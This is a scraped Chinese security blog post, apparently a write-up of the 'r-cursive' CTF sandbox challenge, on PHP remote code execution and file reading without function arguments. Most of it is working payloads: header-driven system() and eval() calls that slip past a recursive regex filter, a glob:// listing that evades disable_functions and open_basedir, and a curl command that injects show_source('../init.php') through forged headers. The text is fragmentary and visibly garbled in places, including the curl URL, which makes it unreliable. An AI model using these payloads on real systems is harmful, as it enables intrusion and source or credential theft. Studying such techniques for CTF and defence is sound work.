点击上方蓝字关注我们
preg_replace('/[^W]+((?R)?)/', '', $_GET['code'])
a(b(c()));
可以使用,但是a('b')
含有参数不能使用print_r(scandir('.'));
可以用来查看当前目录所有文件名print_r(scandir(current(localeconv())));
Apache
环境下使用system(next(pos(getallheaders())));
$token = sha1($_SERVER['REMOTE_ADDR']);
$file = '../sandbox/'.$token.'/';
is_dir($file) ?: mkdir($file);
is_file($file.'index.php') ?: file_put_contents($file.'index.php', str_replace('#SHA1#', $token, file_get_contents('./template')));
switch($_GET['action'] ?: ''){
case 'go':
header('Location: http://'.$token.'.sandbox.r-cursive.ml:1337/');
break;
case 'reset':
system('rm -rf '.$file);
break;
default:
show_source(__FILE__);
?action=go
<?php
sha1($_SERVER['REMOTE_ADDR']) === 'xxx' ?: die();
';' === preg_replace('/[^W_]+((?R)?)/', NULL, $_GET['cmd']) ? eval($_GET['cmd']) : show_source(__FILE__);
disable_classes:GlobIterator,DirectoryIterator,FilesystemIterator,RecursiveDirectoryIteratordisable_functionssystem,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,assert,dl,set_time_limit,ignore_user_abort,symlink,link
if ($dh = opendir('glob:///*/*/*/*')) {while (($file = readdir($dh)) !== false) {echo $file.' ';}closedir($dh);}
open_basedir
都是不同的,那么服务端就需要获取请求的地址,然后做解析,这部分的配置一般是由apache来做的,但如果请求的host中不包含这个sha1的字符串,那么就可以让后端无法获取到这个字符串,就会将open_basedir
设置为/var/www/sandbox
,就可以读取这个目录下的文件了。curl "http://xxx/47933bf3ea6c89fb70bb9c63930val(next(getallheaders()));" -H "User-Agent: show_source('../init.php');" -H "Host: .sandbox.r-cursive.ml"
ini_set("open_basedir", $_SERVER['DOCUMENT_ROOT']."/:/tmp/");
原文始发于微信公众号(SAINTSEC):无参数读文件和RCE的利用研究
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论